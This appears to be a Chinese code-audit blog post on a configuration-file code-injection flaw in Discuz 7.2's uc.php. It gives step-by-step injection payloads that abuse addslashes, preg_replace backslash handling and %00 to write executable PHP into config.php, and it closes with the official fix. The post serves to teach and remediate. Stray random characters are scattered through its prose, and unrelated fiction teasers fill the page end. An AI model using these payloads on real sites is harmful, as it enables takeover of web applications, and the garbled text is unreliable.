[代碼審計]-PHP配置文件寫漏洞

問題

阿里云安騎士報discuz 7.2版本的/api/uc.php存在代碼寫入漏洞官撼,導(dǎo)致黑客可寫入惡意代碼獲取uckey,最終進(jìn)入網(wǎng)站后臺傲绣,造成數(shù)據(jù)泄漏燥狰。

漏洞代碼

function updateapps($get, $post) {
    ......
    #行360
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

     //將POST收到子系統(tǒng)的uc_api寫入配置文件棘脐,
    //對接收的參數(shù)增加addslashes避免直接輸入[' | "] 閉包前面的符號,造成寫任意代碼
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
                    "define('UC_API', '".addslashes($UC_API)."');", $configfile);

    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
    ......
}

最開始處理這個漏洞時龙致,只是照著網(wǎng)上的方案修復(fù)了一下蛀缝,未求甚解。直到最近看了P神的博客目代,突然茅塞頓開屈梁。照葫蘆畫瓢寫下這個漏洞的利用方法。

后話:最好的修復(fù)方式應(yīng)該是:與最新版系統(tǒng)對比不同榛了。
此外在讶,當(dāng)有開源系統(tǒng)發(fā)布新版時,也可以通過查看diff高效的發(fā)現(xiàn)舊舊版本安全漏洞霜大。

漏洞利用

假設(shè)對方已經(jīng)獲取了你的UC_KEY构哺,可以使用Dz自帶的_authcode方法發(fā)送任意的請求。將漏洞代碼簡化如下:

#讀取配置战坤,用請求參數(shù)中的UC_API替換文件內(nèi)容曙强,回寫到文件中
$file = file_get_contents('./config.php');

$UC_API = $_REQUEST['uc_api'];
$file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);

file_put_contents('./config.php', $file); 

法1 (利用正則 .*? 的非貪婪匹配 )

#第一步:插入',并用//注釋后面的代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
#config.php : 此時配置正常
      define('UC_API', 'aaa\');phpinfo();//');

#第二步:uc_api=任意內(nèi)容途茫,利用正則將兩個['aaa\']中的內(nèi)容提換掉
http://localhost/safe/conf_test.php?uc_api=ccb
#confing.php:  摻入phpinfo 代碼可執(zhí)行
      define('UC_API', 'ccb');phpinfo();//');

OR碟嘴,使用 %0a將代碼折行注釋

#第一步:插入',并折行注釋后續(xù)代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
#config.php : 
      # define('UC_API', 'aaa\');phpinfo();
      # //');

#第二步同上

法2 (利用preg_replace 第二個參數(shù)囊卜,自動轉(zhuǎn)義反斜線 '' )

preg_replace.png

正則替換的第二個參數(shù)會自動進(jìn)行轉(zhuǎn)義娜扇,將兩個連續(xù)的\\,轉(zhuǎn)義為一個\栅组。 所以如果存在 {\\\'} 則會被轉(zhuǎn)義為{\\'}雀瓢,最后多出來一個{'}

#訪問:
 http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
#config.php : 成功插入可執(zhí)行代碼
      define('UC_API', 'aaa\\'); phpinfo(); //');

法3(利用正則\n|$n,將第n個子組替換到文本中)

#正則替換子組功能示例
$a = 'aa1234aa';
$b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
echo $b;
//輸出: bb1234bb玉掸。 詳細(xì)說明見上圖preg_replace.png

%00 代表字符串Null刃麸,有各種文件相關(guān)的截斷漏洞。 但addslashes( urldecode(%00) ) = '\0'排截。
在正則中'\0' 正好表示完整模式的匹配文本,可以用來利用辐益。

#第一步:
http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
#config.php : 
      define('UC_API', 'aaa);phpinfo();//');

#第二步:uc_api=%00
#confing.php:  
       define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');

#第三步:
# todo断傲,這個使用define來配置變量,在此處用%00這個方法不是很好實現(xiàn)漏洞利用智政,構(gòu)造合規(guī)語法需要多次嘗試认罩。

下面套用一個簡單的例子:

<?php 
#conf_set.php  
#配置文件使用 $option='xxx'; 形式來配置,覆蓋語法一樣
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>

漏洞復(fù)現(xiàn):

#第一次傳入:;phpinfo();
     #文件內(nèi)容:$option=';phpinfo();';

#第二次傳入:%00
     #%00被addslashes()轉(zhuǎn)為\0续捂,而\0在preg_replace函數(shù)中會被替換為“匹配到的全部內(nèi)容”垦垂,
     #此時preg_replace要執(zhí)行的代碼如下:
     preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
     
     #文件內(nèi)容: $option='\$option=';  phpinfo(); ';';   

#成功閉合

漏洞修復(fù)

官網(wǎng)修復(fù)方案:

//1. 先過濾掉POST參數(shù)中的特殊字符
if($post['UC_API']) {
    $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
    unset($post['UC_API']);
        }

......
//2. 寫入文件前判斷UC_API是否為url格式
if(preg_match('/^https?:\/\//is', $UC_API)) {
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", 
                 "define('UC_API', '".addslashes($UC_API)."');", $configfile);
    
    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
}


相關(guān)閱讀:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末宦搬,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子劫拗,更是在濱河造成了極大的恐慌间校,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,252評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件页慷,死亡現(xiàn)場離奇詭異憔足,居然都是意外死亡,警方通過查閱死者的電腦和手機酒繁,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評論 3 399
  • 文/潘曉璐 我一進(jìn)店門滓彰,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人州袒,你說我怎么就攤上這事揭绑。” “怎么了郎哭?”我有些...
    開封第一講書人閱讀 168,814評論 0 361
  • 文/不壞的土叔 我叫張陵他匪,是天一觀的道長。 經(jīng)常有香客問我彰居,道長诚纸,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,869評論 1 299
  • 正文 為了忘掉前任陈惰,我火速辦了婚禮畦徘,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘抬闯。我一直安慰自己井辆,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 68,888評論 6 398
  • 文/花漫 我一把揭開白布溶握。 她就那樣靜靜地躺著杯缺,像睡著了一般。 火紅的嫁衣襯著肌膚如雪睡榆。 梳的紋絲不亂的頭發(fā)上萍肆,一...
    開封第一講書人閱讀 52,475評論 1 312
  • 那天,我揣著相機與錄音胀屿,去河邊找鬼塘揣。 笑死,一個胖子當(dāng)著我的面吹牛宿崭,可吹牛的內(nèi)容都是我干的亲铡。 我是一名探鬼主播,決...
    沈念sama閱讀 41,010評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼奖蔓!你這毒婦竟也來了赞草?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,924評論 0 277
  • 序言:老撾萬榮一對情侶失蹤吆鹤,失蹤者是張志新(化名)和其女友劉穎厨疙,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體檀头,經(jīng)...
    沈念sama閱讀 46,469評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡轰异,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,552評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了暑始。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片搭独。...
    茶點故事閱讀 40,680評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖廊镜,靈堂內(nèi)的尸體忽然破棺而出牙肝,到底是詐尸還是另有隱情,我是刑警寧澤嗤朴,帶...
    沈念sama閱讀 36,362評論 5 351
  • 正文 年R本政府宣布配椭,位于F島的核電站,受9級特大地震影響雹姊,放射性物質(zhì)發(fā)生泄漏股缸。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,037評論 3 335
  • 文/蒙蒙 一吱雏、第九天 我趴在偏房一處隱蔽的房頂上張望敦姻。 院中可真熱鬧,春花似錦歧杏、人聲如沸镰惦。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽旺入。三九已至,卻和暖如春凯力,著一層夾襖步出監(jiān)牢的瞬間茵瘾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評論 1 274
  • 我被黑心中介騙來泰國打工咐鹤, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留拗秘,地道東北人。 一個月前我還...
    沈念sama閱讀 49,099評論 3 378
  • 正文 我出身青樓慷暂,卻偏偏與公主長得像聘殖,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子行瑞,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,691評論 2 361

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,310評論 25 707
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理奸腺,服務(wù)發(fā)現(xiàn),斷路器血久,智...
    卡卡羅2017閱讀 134,711評論 18 139
  • 你是不是經(jīng)常在同一家飯店吃飯突照,而不愿意嘗試新的餐廳,新的菜品氧吐? 你是不是經(jīng)常買常買的那幾個牌子的衣服讹蘑、鞋子,而不愿...
    Fanny讀書閱讀 250評論 0 2
  • 你學(xué)到了什么 在這一章筑舅,你學(xué)到了以下內(nèi)容座慰。 1什么是模塊。模塊其實也是一個python文件翠拣,是一個程序版仔,里面包含著...
    然2016閱讀 232評論 0 0
  • 近期,堪比年度大戲的芭莎慈善夜误墓,可謂為吃瓜群眾們提供不少“料”蛮粮。有女明星搶“戲”場,有秀恩愛場谜慌,還有塑料姐妹花場然想,...
    潮流一起說閱讀 319評論 0 0